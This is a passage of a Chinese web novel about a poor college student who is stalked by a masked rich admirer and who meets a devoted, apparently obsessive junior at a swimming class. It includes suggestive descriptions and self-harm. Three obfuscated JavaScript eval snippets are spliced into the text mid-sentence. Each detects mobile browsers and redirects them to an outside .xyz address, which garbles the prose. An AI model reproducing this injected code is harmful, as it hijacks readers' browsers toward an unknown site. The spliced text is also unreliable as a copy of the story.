就算是在梦里，那触电般的感觉仍在刺激他的大脑皮层，应该是嘴唇上神经分布比较多，所以触觉比较敏感。 但他以前从来都不会做这样的梦！ “嘎吱——” 阳台门被人打开，初雪寻声望去，只见杜华南满脸胡茬，眼下青黑地走了进来。 “你干嘛去啊？”杜华南皱着眉，抬头看了眼吊绳上初雪还没收的制服，那白衬衫上的红酒痕迹格外刺眼。 初雪将毛巾洗干净，挂回自己的勾子，“上课啊，今天有早八，你起得挺早。” 虽然一个宿舍都是同个专业，但不同班的课表都不一样，再加上初雪每天起早贪黑，打照面的机会就更少。 他甚至都不知道杜华南跟他是一个班的。 杜华南的脸上出现一瞬间的空白，显然是忘记了今天还要上课，或者说他根本没打算去上课。 他昨晚上通宵打游戏，现在脑子跟生了锈的齿轮似的，看着面前的初雪，杜华南露出纠结的神情，片刻，他对着初雪说道：“你等等我，我跟你一起去。” “啊……” 初雪被杜华南这句话整懵了，他们俩可从来没有一起去上过课，还没等他说些什么，对方就自顾自地回屋里翻起了衣柜。 声音砰砰响，旁边还在睡的室友翻了个身。 约莫十分钟，杜华南终于收拾好了，他打着哈欠，跟初雪一块下楼，“今天早上是什么课啊？” “形势与政策。”初雪从单肩包里拿出手机看了看钟，耳边突然传来一阵惊呼。 “什么？！水课你也去上啊？” 这话说得好像初雪犯了天条。 初雪被杜华南咋咋呼呼的劲儿吓了一跳，他的眉弓悄悄收紧，温声解释道：“今天上午满课，晚些还有三节专业课。” “好吧。”杜华南烦躁地挠了挠头，他脚下渐渐跟着初雪贴着走，眼珠子咕噜地转了一圈，状似闲聊，“诶，你在哪里打工啊？” 初雪捏了捏单肩包上的肩带，眨巴眨巴眼，回道：“快递站。” 他没撒谎，曾经在快递站打过工。 杜华南拉着长音哦了声，用肩膀怼了怼初雪，说：“那我以后少买些快递。” “不用…不用这样。”初雪往路边挪了半步，试图跟杜华南保持点距离。 杜华南却无知无觉，继续往初雪身边挤，直到一声中气十足的口号响起。 “三连四班向学长问好！” 一整个班听到口号迅速起身，站着军姿齐声怒吼，“学！长！好！” 俩人都被这问好给镇住，初雪对着学弟学妹半鞠了几个躬，嘴里小声念念：“你们好你们好。” 原来是他们路过了田径场，正好碰到一个班军训中场休息，教官要求他们休息的时候，也要对每一个路过的学长学姐问好。 “我们快点走。” 初雪见杜华南还站在原地，急忙上前扯他的上衣，将他拉走，大一生军训本就辛苦，好不容易歇一会儿喝口水，继续停留在这儿恐遭人嫌恶。 可初雪刚抬脚走两步，他后颈的绒毛突兀地竖立起来。他的嗓子发干，咽了口水传来一阵刺痛，一滴冷汗顺着脊背滑下，他募地转过身子，神色严肃地观察四周。 “怎么了？” 杜华南第一次见到这样的初雪，眼里春水洗去，只剩一股子锐利。 “没什么。”一眨眼，初雪又恢复成平日的模样，仿佛刚才的一切都是错觉，“走吧，要迟到了。” - “谢哥，你还好吗？”关十一谢黎旁边吨吨吨地喝水，见谢黎猛地扭过头，满头大汗，关切地问了一句。 谢黎体质很好，平日高强度的训练都没见他流这么多汗，教练都经常夸他的动作是最标准的，怎么现在跟丢了魂似的？ 谢黎用袖口将额头上的冷汗抹掉，单手轻摆示意自己没事，眼睛又不自觉地往教学楼的方向看去。 “解散！” “叮铃铃——！” 初雪伸了伸懒腰，学习上课非常消耗卡路里，再加上他没有吃早餐的习惯，早就饥肠辘辘。 一进教室就跟他分开坐的杜华南又找了上来，“初雪，我们一起去吃饭呗，去二饭。” 他眼底的黑眼圈淡了些，看起来老师讲课的助眠效果还不错。 “不用了，我去三饭吃。”初雪将课本装回单肩包里。 临大有五个饭堂，每个饭堂还有三层，并且每个饭堂都有自己的卖点。 其中，第二饭堂的装修精致，吃食小店种样繁多，并且距离临水书院最近，可与之相对的，就是饭菜会更贵，就连打包费，都要比其他饭堂多个一块钱。 而三饭主做的就是大众菜，实惠量大，装修就是普通饭堂的模样。 “我请你吃，前段时间校园墙不还说三饭有淋巴肉吗？” 初雪叹出一口凉气。 他觉得跟杜华南沟通的效率几乎为零，这人好像没什么分寸感。 “真的不用了，我去三饭吃挺好的。” 杜华南见初雪态度坚决，皱着张脸摆手道：“行吧行吧，去三饭吃。” 临大的饭堂都有空调，但耐不住人实在太多，特别是有很多刚刚下训的绿色迷彩服，空气都浮起躁热。 初雪占了个离空调近的位置，杜华南不知道去了哪儿，打完菜刚坐下，一道熟悉又陌生男音响起：“学长，我可以坐这里吗？” 初雪抬眼望去，只见一个把迷彩服穿得很帅的学弟，端着食堂特供的饭盘子，微笑着礼貌询问，左边脸颊有一个很深的酒窝。 他点了点头，挪了下身子让学弟进，现在人很多，拼桌什么的都很常见。 学弟坐在了初雪的对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203407|181254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面，他抬眸盯着初雪看了两秒，随后缓缓睁大了双眼，惊讶道：“学长，是你啊，好巧，我们又见面了。” 初雪闻言，隐在桌下的手指紧张地绞了起来，他不动声色地观察面前的人，大脑飞速运转，那黑框眼镜下的眼睛，还有这酒窝，确实好像在哪里见过。 叫什么来着？ 初雪cpu都要干烧了，将脑袋里储存的文件都翻了出来，好像是……屑，啊不是，屑是那个混蛋，应该是谢。 具体什么名儿，他是真不记得了，但没关系，初雪自有妙招。 他笑得眉眼弯弯，选了个讨巧的说辞，“谢学弟，好久不见，军训辛苦吗？” “还好，不会——” 谢黎这边话还没讲完，杜华南把打好的饭往初雪旁边一放，嘴里嘟囔：“我真服了，人这么多，让你跟我去吃小炒又不肯。” 初雪用调羹挖了一勺麻婆豆腐放嘴里，没搭理他。 谢黎暗暗瞅一眼杜华南，长舒一口气，眼里原本藏着的阴霾消散。 这边在安静吃饭，那边杜华南抓着筷子在菜里搅来搅去，嘴里一句接着一句。 “这是什么肉啊这是？好恶心看着。” “感觉这个豆腐也是预制的，初雪你也别吃了。” “都是科技与狠活啊。” 初雪艰难的将食物咽下，食欲被这一声声的抱怨念得荡然无存，他眉眼间的愁色都快溢出来了，偏偏杜华南还不停歇。 就在这时，乒铃乓啷的响声打断了杜华南的输出，谢黎不小心把勺子掉在了地上，杜华南这才注意到他们对面还坐着个人。 在看清谢黎的那一刻，杜华南脸色发沉，就算他戴了个沉闷的眼镜，也能看出其骨相的端正硬朗，从外貌来说，他根本没法跟对面这人比。 但光有外貌有什么用，不也是个在三饭吃的穷光蛋。 谢黎将勺子捡回来放在一旁，看着初雪的菜好奇询问：“学长，这个番茄炒蛋是甜口还是咸口的？我还没吃过这道菜。” “甜的。”杜华南终于消停了，初雪乐得多跟谢黎聊两句，最好能让杜华南别再开口。 “学长喜欢吃甜口的？” 初雪犹豫了会儿，摇摇头。 点番茄炒蛋是因为他喜欢吃鸡蛋，但是三饭并没有专门的炒鸡蛋，所以只能退而求其次。 杜华南看着两人你一言我一句，想插嘴时又会被谢黎赶巧地堵住话口，气得直接撂了筷子，将饭盘一抬，说要先回宿舍。 初雪就当啥也不知道，不痛不痒地说了一句。 “好，那你先回吧。” — 谢黎回到宿舍，盯着桌上的镜子发愣，足足照了十分钟，转头犹疑地询问关十一：“我有什么变化吗？” 关十一放下手机，左看看右看看，回道：“没有啊，还是一样的帅！” “硬要说什么变化的话，就是变黑了点吧，也正常，军训嘛，哪有不黑的。” 谢黎一听这话，脸色是彻底地黑了，关十一以为谢黎是有什么包袱，一拍大腿，“我这里有防晒霜啊，谢哥你要不要。” 他一热就容易出汗，一出汗防晒就掉，所以也就用了一次。 谢黎对着镜子胡乱抹着防晒，手掌心被玻璃划的伤刚结出痂，他回想起初雪看他时，那陌生的眼神，手指无意识地扣着那一道道伤痕，新痂被重新翻了出来，鲜血从细小的孔里冒出。一滴两滴，快要痊愈的手掌又烂了。 到底要用什么方法，才能让他的学长记得他？ 5. 第 5 章 大一军训临近尾声，初雪的生活越来越忙碌，他近期一直在奶茶店打工，每天干到晚十点半再从市中心赶回学校，正好能赶上十一点半的门禁。 偶尔，回校时，他还会在校园墙接奶茶外卖单，正好在这里打工，喂在嘴边的钱自然是要赚的。 在原本的时间表上，他晚上的安排是在酒吧，夜场比奶茶店赚得多，但在包厢发生了那样的事，初雪想避两天风头，这几天酒吧老板还总给他打电话，问他什么时候回去上班。 初雪当时还觉奇怪，平时酒吧人少的时候，老板巴不得他们这些大学生都别去，免得要多付额外的工资，可现在三天两头就来关心他，难不成真转性了？ 他想不通。 哗哗哗的水声骤停，初雪看着沾满水雾的镜子，里面是模糊的自己。 现在收入不比以往，他不得不再次点开小白鼠。 距离上次更新已经过去了两周，果不其然，更新后他又掉了两千多粉丝，原本号上好歹还有万粉，现在算是彻底落到了四位数。 他百无聊赖地刷着推荐，有大数据的加持，刷到的几乎都是同行，初雪点击一条高赞帖，这是一个露脸博主，他头顶猫耳朵，尾椎骨还坠着猫尾巴，在屏幕前塌腰，微微张着嘴露出半截舌尖，初雪往下滑，一千多评论筑起高楼，每次刷新，这篇帖子的点赞和收藏都在飞速增长。 初雪看着屏幕上的数据，眼里不由流露艳羡，他咬了咬下嘴唇，粉嫩的唇肉从贝齿刮下，留下浅浅的红印。 他没有多余的闲钱去买这些小道具，也没有别人这么先进的拍照设备，更何况，他还不露脸。 初雪一条条擦边图片刷过去，可悲地发现，自己真的要被完全挤出市场了。 初雪将手机调成前置，自上而下地在还未干透的脖颈拍了个照，镜子里，水滴从发尾滑落，聚在凹陷的锁骨里，反射着白炽灯的光，瓷白肌肤上有浅青色的血管，无端让人牙齿痒。 可在手机里，他的镜头雾蒙蒙，这些在镜子里能看清的细节，全被这该死的摄像头糊成了一团。 “初雪！” “诶——！” 门外舍友喊了一声，初雪慌乱地将换洗衣物穿好，打开小白鼠的发布页面，眼睛一闭，将照片发了出去。 [照片] 【刚刚洗完澡，沐浴露很香>_<> “有人找。”见初雪出来，舍友指了指宿舍门口。 只见一名带着鸭舌帽的男生抱着个宽扁的箱子，不停往屋内张望。 看到初雪的那一刻，他双眼发光，赶忙招了招手，示意初雪来门口。 “你是初雪吗？” 刚洗完澡，微风一吹带来凉意，初雪点了点头。 男生将箱子递给初雪，“是这个快递没错吧？” “啊？”初雪歪了歪脑袋，他最近并没有网购，哪里有什么快递？ “我没有快递啊，你送错了吗？” “怎么会？”男生一愣，他掏出手机手指轻点，将屏幕放在初雪面前，“是临水书院301啊，你还说要我一定亲手送到你面前，要验货呢。” 屏幕上是微信的聊天框，一个纯黑头像，名为X的用户，在校园墙叫了个跑腿，也就是面前的男生。 [X：校门口驿站有个快递，送到临水书院301。] [临大飞毛腿：好嘞老板，放在宿舍门口可以吗？] [X：不行，一定亲手送到。] [临大飞毛腿：可以的老板，不过要多加点钱。] [X：嗯。] “这不是你吗？你叫初雪吧？我经常在校园墙刷到你。”跑腿也经常接单，因此高度关注校园墙的信息，对初雪并不陌生。 初雪点了点头，眉头却未曾放松，“但是我没有买快递，也没有叫过跑腿啊。” “哎，说不定是你朋友给你买的呢？想给你个惊喜！” 跑腿并不想站这儿耗时间，手机里X已经付过跑腿费，他的任务也已经完成，至于这快递是谁的，跟他没有关系。 他随口宽慰了初雪两句，赶紧找借口离开了。 - 这个箱子抱起来轻飘飘，初雪走进宿舍，将其放在桌上。 他真的不愿去联想X这个字母有什么含义，仔细检查一遍箱子的外表，却得不到一丝的有效信息，甚至有关于发货人的快递单，也找不到一点蛛丝马迹。 初雪将包裹打开，入目就是几双白色的袜子，白袜子底下叠着的工工整整的马甲和白衬衫，再往下翻还有西装裤。 是跟酒吧制服一模一样的款式类型，可细看之下又有些许不同。 初雪继续往箱子底部探了探，手指掠过类似于纸面的短促纤维绒毛，取出一看，发现是个深棕色信封。 信封摸起来的质感很高级，上面封口处还摁了火漆印章，看起来很正式，印章上的图案是立体小雏菊，有些扎手。 初雪微微颤抖地呼出一口气，这个信封就像是潘多拉魔盒，极具诱惑力和危险性。 开或不开，是个问题。 他的指甲扣着火漆的边缘，发出哒哒哒的声音，印章边缘微微翘起，信封被撕下一块纸皮。 X肯定不是他的朋友，初雪无比确信这一点。 他又回想起了那天在田径场，感受到的目光。 阴暗，窥视，欲望，让人毛骨悚然。 初雪深吸一口气，心里已然做好了决定。 他指甲一勾，大拇指一翻，印章就这么被掰扯开，信封里面的内容一览无余。 一张类似于贺卡的小卡片和一张照片。 【衣服脏了，我不知道你的尺寸，只能用手掌比对大概腰围。】 纸条上的文字苍劲有力，初雪看清其上内容呼吸骤停。 最令人担心的情况还是发生了，他真的被人盯上了。 那天在酒吧，用手掌碰过他腰部的只有一个。 覆面。 他的腰被覆面又托又掐，初雪原以为只要这两天不在酒吧露面，像覆面这样的富家子弟很快就会忘了自己，可人家现在连他住哪栋宿舍楼，住在几零几都摸清楚了！ 初雪脸色沉重起来，他有点脸盲，平时见的人太多，现在脑海里那仅有的、有关于覆面的一双眉眼都变得模糊不清。 敌在暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203408|181254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他在明，不知道覆面又在哪个角落盯着他。 这对初雪来说，是件极其危险的事情。 初雪将信封里那张照片抽出来。 上面是初雪在奶茶店忙碌的样子，围裙的细绳揽着他的腰，初雪的衣袖半挽起，正垂头专心地抖抹茶粉，照片的画质很好，甚至能看得清初雪手臂上薄薄的肌肉线条。 初雪将照片翻转，瞳孔骤缩，他一把将照片抓进手心揉捏成球，眼尾是被气急的红。 他一眼就能看全了照片后背写了什么文字。 【好想看你只穿一件围裙的模样，宝宝，这一定很诱人。】 覆面看着人模人样，其实根本就是个衣冠禽兽！ 还没等初雪平复心情，一句刺耳的话在宿舍内响彻，“哟，初雪这是傍上什么大款了？” 此话一出，宿舍所有人的注意力都集中在初雪身上。 初雪看向杜华南，脸上第一次露出对他的不满。 宿舍的气氛瞬间尴尬起来，毕竟所有人都知道初雪很缺钱，并且总是晚归。 可杜华南却像是感知不到，像个没事人，走到初雪身边，将箱子里的白袜子拿在手上，笑声里隐隐夹着不怀好意，“Rouli家新品，一双五百块，初雪你发财啦？” “什么？！” 初雪那双漂亮的狐狸眼睁得圆溜溜的，不可置信地将杜华南手中的白袜抽回来。 一双袜子五百块？！ 他赶紧拿出手机，打开知名购物软件，在袜子上的Logo处扫描。 没多久，袜子的信息一目了然。 五百块还说少了，原价六百五，一次性买五双打八折。 初雪翻了翻盒子，正好是五双，也就是说，打完折单价是…… 520。 杜华南嗤了声，往那盒子又瞄了眼，脸色顿时一阵青一阵白。 他家也算是有些小富，至少见过大世面，不然根本认不出Rouli。而他作为家中独子，少不了体面的行头，家里特地为他置办了一套高定西装，可现在，出自同一高奢品牌的衬衫马甲，却被装进了不堪的快递纸盒里。 如此随便，如此漫不经心。 好像这一套奢侈品对于送礼的人来说，只是指尖那一咪咪。 微不足道。 杜华南转头看着还震惊于袜子价格的初雪，心里涌起黑水，脑海不断意丨淫初雪被一个镶着金牙的胖老头压在身下，顿时，看向初雪的眼神又轻蔑些许。 “初雪在哪里赚钱啊，带带哥儿几个呗，哈哈哈。” 宿舍里只有他在笑。 初雪听罢，挑起双眸，清澈如琥珀的眼珠子清晰地照出杜华南此刻丑陋的模样。 “你过界了。”他的语气淡淡。 杜华南跟初雪互相对视，明明初雪的情绪并不激烈，甚至没有爆粗口，可对上那双眼睛，一股寒意如闪电般倏地钻上他的天灵盖。 杜华南后背发凉。 好歹他跟初雪也做了一年的舍友，说难听点，跟一条狗住一年都会有些感情，可初雪的眼神却异常冷漠。 他在初雪的生命中，轻如鸿毛。 6. 第 6 章 “哎！我就是开个玩笑，你别介意。”杜华南哥俩好似的拍了拍初雪的肩膀，想摆脱弱势方拿回主动权，强颜欢笑的模样比哭还难看。 谁知初雪根本不吃他这招，一个扭身就躲开了杜华南的手掌，杜华南只能尴尬地拍了拍空气。 “这玩笑并不好笑。” 初雪还是那副平淡的模样，细细听来，才能品出语气中的那抹冷漠。 杜华南嘴上说什么让他别介意，其实初雪心里对他的话没有起一点波澜，哪里有什么所谓的“介意”，更何况，俩人撕破脸对初雪来说，算是一件好事。 他再也不用忍受跟杜华南一起去上课，聊着让他不适的话题，也不用耐着性子跟他一起去吃饭。 “欸别吵架别吵架。”一名舍友上前打圆场。 杜华南立马顺着台阶下，“没吵没吵，初雪不爱开玩笑，下次不开就是了。” 他说完这句话，眼睛里露出某种期望，期望初雪能说些什么缓和关系的话，哪怕是一句“没事”也行。 可是没有。 初雪一句话都没回，将桌子上的快递盒收好，径直走出阳台洗漱。 杜华南看着他的背影，脸色愈来愈阴沉。 初雪洗漱完上床，拿出手机，手指悬在小白鼠的图标上，犹豫了两分钟，这才点击进去。 小白鼠有自己的算法机制，只有吸引足够的粉丝或路人点赞收藏和评论，软件才会安排进入下一个流量池。 现在距离发布新帖已经过去了一个小时，屏幕上却是寥寥无几的浏览量，评论数更是连十个都没有。 这说明，就连一定会刷到他帖子的粉丝，都对他的照片不感兴趣。 初雪向下滑，几个评论付出水面。 【博主的美颜开得也太大了吧，磨皮都磨没了。】 【我啥时候关注的？】 【这粉丝还有八千呢，大家现在这么不挑吗？】 【雪饼宝宝，要不要试试看小道具呀？你的皮肤那么白一定很好看的。】 最后那条评论的id叫雪饼甜甜，初雪抿了抿唇，这是他的忠粉，他每条帖子下几乎都有雪饼甜甜的评论，从他最初拍照爆火到现在的衰落，她的身影一直存在，不仅如此，她还经常给初雪画同人图，也是发在小白鼠里。 初雪点击雪饼甜甜的主页，自从流量下滑，他已经很少来光顾，这不看不知道，一看才发现甜甜的产出比他还高！ 这几个月他才更新三篇帖子，可甜甜却是两三天就画一张。 最开始，甜甜画的只是初雪的单人图和Q版图，初雪偶尔还会转发，而现在…… 初雪瞳孔地震。 这些双人涩丨图是什么东西啊！ 初雪在双人图里被摆成了各种姿势，一个身材更加高大的人形模特总是压他一头，甜甜不知道初雪长什么样子，五官就没有细画，可初雪那身段却被笔触勾勒得淋漓尽致。 几乎每一张双人图都是大几万的点赞。 比他这个蒸煮还火。 进到帖子里，甜甜还会在详情里大肆吆喝。 [画的是我们超可爱的雪饼呀，大家快去关注他！催他更新！！！@雪饼 再不更新我就让你被坏男人吃?抹?。] 评论区很热闹，好一部分人都说要去雪饼的主页，结果也可想而知，众人纷纷失望反馈，说初雪的照片还没有甜甜的画有X张力。 初雪揉了揉眼尾，以甜甜现在的流量，完全可以去做个人ip，不必跟已经糊掉的初雪绑在一起，可她还在为了他卖力宣传。 而他这个蒸煮却无能…… 初雪揉眼的手腕忽然一顿，如水的眸子像是被人丢下一颗石子，起了阵阵涟漪。 一个人不够张力的话，可以两个人啊。 就像甜甜画的那些图一样。 意识到这一点，初雪立马去小白鼠里搜索相关的关键词，很快，同行的图文相继弹出。 初雪快速检索，震惊地发现，现在暧昧照的图文市场，百分之七十的博主都在卷单人赛道，同样，热度高的也是单人赛道，双人图要么热度低，要么被评论区吐槽攻方长得丑，身材差，P图怪。 为了看懂评论区，初雪还去科普了一下什么叫攻方受方。 “唉……” 初雪叹了一口气，刚刚想出来的出路似乎又被堵死了，网友对攻方极为苛刻，他又要上哪去找合适的人做搭档呢？ 更别说，这根本不算什么正经的职业。 初雪揉了揉身边小破熊的脑袋，咔哒一声，熄灯了。 在黑暗里，初雪伸手将小熊揽进怀里，掖好被子，又用嘴巴轻碰两下它的鼻子，就像是晚安吻，这才共同进入梦乡。 - [王老师：@所有人今天不用去教室了，直接去体育馆游泳场，下水了。] 一条消息弹出来，初雪午觉刚睡醒，他迷迷糊糊地拿起手机瞅了眼，刚想多睡五分钟，一瞬间，他得到脑袋像是突然接上了发条，双眼倏地睁大。 他慌忙拿起手机看了眼。 什么？下水？怎么这就要下水了？！ 游泳课前两个星期都在教室上理论课，他还以为可以再多拖几节课呢。 初雪顶着乱糟糟的头发下了床，没办法，体育馆离他宿舍有些远。 这五分钟的睡觉时间终究是失去了。 临大的体育馆很大，各种设施齐全，馆外还有高耸的专业攀岩场，游泳馆就在体育馆的最深处。 等他到的时候，队伍已经排起了长隆，王老师站在更衣室门口，一个一个发放存储柜的手串，接到手串的同学自觉进入更衣室换泳衣。 初雪自觉站在车尾，看着不苟言笑的老师，额头划下一滴冷汗。 王正阳是临大出了名的体育老师，为什么出名呢？ 因为挂科率高。 出奇的高。 正常来说，大学生体育课只是起到一个锻炼身体，顺便培养培养兴趣爱好的作用，可王正阳不同，王正阳是真想把所有学生教成游泳健将。 以至于考试不达标的他全都挂，挂到学校领导都要找他谈话的地步。 正因如此，全校的学生都避着他，敢选他课的学生也大概率本来就会游泳，除了初雪…… 是被分配来的。 他抢课抢不过别人，就被挤到了游泳，更可悲的是，他还是个可怜的旱鸭子。 队伍越来越短，他前面排着的是一个身量很高的同学，目测要比他还高出半个头，初雪见他拿了手串，抬脚就要继续往前走，王老师却突然伸手将二人拦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203409|181254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住。 “等等。” 初雪反应不及一头撞在了身前人的后背。 “嗷——” 有点硬。 初雪捂住自己的鼻子和额头，鼻软骨被撞得酸软。 谢黎的鞋底在地面摩擦一寸，堪堪稳住身形，他的剑眉微皱眼眸黑沉，他侧开半边身子，挑眼随意朝后瞥了一眼，随即愣在原地。 “不好意思…” 初雪揉着山根抬头看向身前人，那双眼里蓄满了生理泪水。 他看到谢黎的表情，脚下不自觉地后退一步，可转眼一瞬间，谢黎那如墨的眸子像是被点上了高光，仿佛刚刚初雪看到的都是幻觉。 “学长。”谢黎睁大着眼，语气惊讶又带着些熟稔，“撞疼了吗？” “没事的。”初雪仔细辨认眼前人的五官，这次他进步了，才花了五秒钟，就能准确喊出眼前人的身份，“谢学弟，你怎么也在这儿。” 他没再把学弟的姓跟覆面弄混。 就在谢黎正要回答时，王老师打断道：“你们认识啊，那正好，储物柜数量有限，又临时多加了一个你。” 王老师指了指谢黎，又拍了拍初雪的肩膀，“你们俩用同一个，行吗？” 他们俩自然是没有什么意见，毕竟两个都是男生，用同一个柜子也没什么关系。 进到男更衣室，迎面而来的就是一群半裸男，学校统一购入的泳衣有两种款式，一种是有上衣的，一种就是只有泳裤。 很多男生图方便，就只穿了条泳裤。 谢黎用手串把他们的柜子打开，初雪没有游过泳，也没进过游泳馆，就照着身边同学的行为，坐在长凳上脱鞋袜。 谢黎开好柜子就在他的身边坐了下来，但却没有立刻行动，反而是垂着头，不知道在看什么。 初雪把黑色的袜子塞进运动鞋里，推进长凳里，见谢黎还低着头，他眨巴眨巴眼，问了一句，“怎么了？” 地板有什么东西吸引学弟吗？初雪也跟着低头瞧了瞧，什么都没看到。 谢黎摇了摇头示意自己没事，他快速将鞋袜褪下，随即伸手往后领一扯，宽松版型的黑T恤，就这么轻松地脱了下来，他起身将衣服塞进柜子里，却没看到，初雪在身后盯着他的后背愣神。 谢黎宽厚的肩膀下是看着就强劲的公狗腰，其上肌肉线条清晰利落，随着他的转身，腹部块状分明的腹肌也尽数落入初雪眼中。 他好像，找到搭档的人选了。 谢黎的身材完美符合大众想象的“攻方”，而他，是受……方？ 初雪回忆起甜甜画的那些涩丨图，以及图里面那些各式各样的动作，不由得陷入了沉思。 可现在也只有这条路能破局。 “学长，学长！”谢黎的喊声将他飞远的意识收拢，“我们得快些了。” 更衣室的人寥寥无几，大家都收拾好去泳池集合了。 “喔！好。”初雪慌乱地撩起自己的上衣，还没脱下，一股巨力把他的衣角往下拉，脱到一半的动作被打断。 “进到洗浴间再换吧，我也还没换泳裤。”谢黎脸上非常平静，胸口却在上下起伏。 脑海里，刚刚从视网膜烙下的画面挥之不去。 他亲爱的学长的晕色……是粉的。 7. 第 7 章 初雪在洗浴室将衣服脱了个干净，粉嫩两点下是漂亮的人鱼线，因为屁丨股挺翘饱满，连带着大腿根处也有足量的嫩肉，水流顺着那双又白又直的长腿流进下水道，小腿肚发力时可以看到肌肉线条，放松又变得软趴趴。 简单冲洗过后，初雪套上黑色短泳裤，裸着半身撩开帘子出来，他刚抬头，迎面就被塞来一件上衣。 “学长，穿。”谢黎嘴角平直，眼神很正直地看着初雪的脸，可发丝遮挡的耳朵红了一片。 初雪不明所以，但学弟都给他递过来了，他就接来穿上了，“你……不穿吗？” 谢黎也只穿了个泳裤，身上腹肌和外斜肌排布得很整齐，初雪偷偷瞥了好几眼，越看越觉得谢黎是他的最佳人选。 可是他现在连谢学弟的名字都记不清，接完大一新生后初雪就把群退了，现在想抄答案都没地儿抄。 总不能直接上去问谢学弟你全名叫什么吧。 这太尴尬了。 “我无所谓，学长我们快走吧，老师等急了。”谢黎声线平淡，见初雪穿好衣服，往泳池区方向先走一步。 但是顺拐了。 初雪在回忆当初看过的群资料，没有注意谢黎的异常，他将换下来的衣物放进柜子，也跟着与大部队集合。 王老师手上拿着花名册，见人到齐，说道：“这是我们第一次下水，照例第一堂课点个名啊。” 话音刚落，人群嘈杂，来了的同学暗自庆幸，没来的估计都悬了，因为大家都把手机放进柜子里了。 初雪不在意点不点名，反正他每一节课都会—— 等等……点名！ 点名的话他就知道谢学弟的名字了！ 初雪瞬间两眼放光，视线在王老师和身边的谢黎身上来回转换，接下来他可得仔细听好了。 “尤宜。” “到！” “李俊杰。” “到。” …… “杜华南。” “杜华南？” 无人回应。王正阳拿着水笔勾了一下，继续往下。 “初雪。” “到！”他的声线纯净清亮，具有很高的辨识度。 …… 一个一个名字点过去，初雪却都没有听到身边人应到，他手指扣着裤脚边缘，有些焦急。 不会是他听漏了吧。 直到王老师的笔尖指到花名册的最后一位。 “谢黎。” “到。”他的声音微沉。 原来叫谢黎。 初雪立马扭头往身旁看去，眼里是毫无掩饰地欢喜，谢黎感受到初雪的视线，疑惑地回望。 随即，他的学长冲他露了个甜甜的微笑，他一笑起来眼睛就会弯成半眯，略微狭长的眼型上睫毛又密又长，当真像个勾人心魄的狐狸。 谢黎的心脏抽动，狂跳不止，速率高得像是要从嗓子眼里跳出来，表面却淡淡地将头转了回来，只是心里难免暗怪学长一点都不会把握分寸。 “体育委员来将泳帽泳镜分发下去，所有人都要佩戴好才可下水。”王老师大声说着他的规矩，“我知道外面有很多人说我是什么捕王，说我补课率很高，但只要你们认真地上课，我不会为难任何一个同学，同样，那些逃课旷课的，也一个都跑不掉，你们自己掂量掂量。” 体育委员抱着一箱子泳镜泳帽游走于人群，王老师继续说道：“等等会游泳的和不会游泳的分成两排，能选我的课，会游的肯定不少，都老实点。” 泳帽泳镜一戴，所有人都长得一模一样。 初雪没有戴过，没有经验，不知道泳帽和泳镜会箍得这么紧，一旁的谢黎还来给他搭把手。 他任由谢黎在他的头上动作，学弟表情认真地帮他整理漏出来的发丝，他把黑色方框眼镜摘了下来，取而代之的是挂在头上的泳镜。 初雪的眼睛藏在黯色的泳镜里，偷偷地观察面前这张脸。 学弟不戴眼镜的样子……还挺帅的。 “会不会不舒服？” 初雪摇了摇头。 人群已经自觉排成了两队，两队人数持平，初雪排在旱鸭子队伍，谢黎犹豫了半响，还是往初雪的反方向走去。 体委带他们做完热身运动，王老师用手中的花名册指了指会游的队伍，“你们先下水游个来回，我会给你们记录时间，看看我们班会游的整体水平怎么样。” 游泳馆是标准的50米长池，来回就是100米。 队伍里面一个男生听完王老师说话，举起手，语气有些得意洋洋：“老师，限制泳姿吗？我都会。” 此话一出，另一排人都将目光放在他的身上。 李俊杰嘴角挑起，很享受众人那似有若无的崇拜目光。 王老师拧住眉，抬头瞥了李俊杰一眼，“泳姿不限。” 他刚刚已经说要记录时间，泳姿自然默认用游得最快的自由泳。 小屁孩爱显摆，王老师心里冷哼一声，又补充了一句：“你想蛙泳也行。” 蛙泳最慢。 李俊杰哪里听不出王正阳在挖苦他，他脸色变黑，小声蛐蛐：“切，我蛙泳也比他们快。” 跟这些只把游泳当兴趣的人不同，李俊杰是实打实地参加过游泳比赛拿过奖牌的。 体能最好最快的一次，100米自由泳甚至能进一分钟内。 谢黎站在1号泳道，他身边正好就是李俊杰。王老师带着学委一一确认名字，走到谢黎身边时，还上手摸了摸他的手臂肌肉。 “练得不错啊，几年了？” 谢黎抿了抿唇，用余光看了眼初雪的方向，此时初雪坐在观众台，貌似注意力也在他的身上，可泳池声音嘈杂，他说的话初雪注定听不见。 “五年。” “挺厉害啊。” 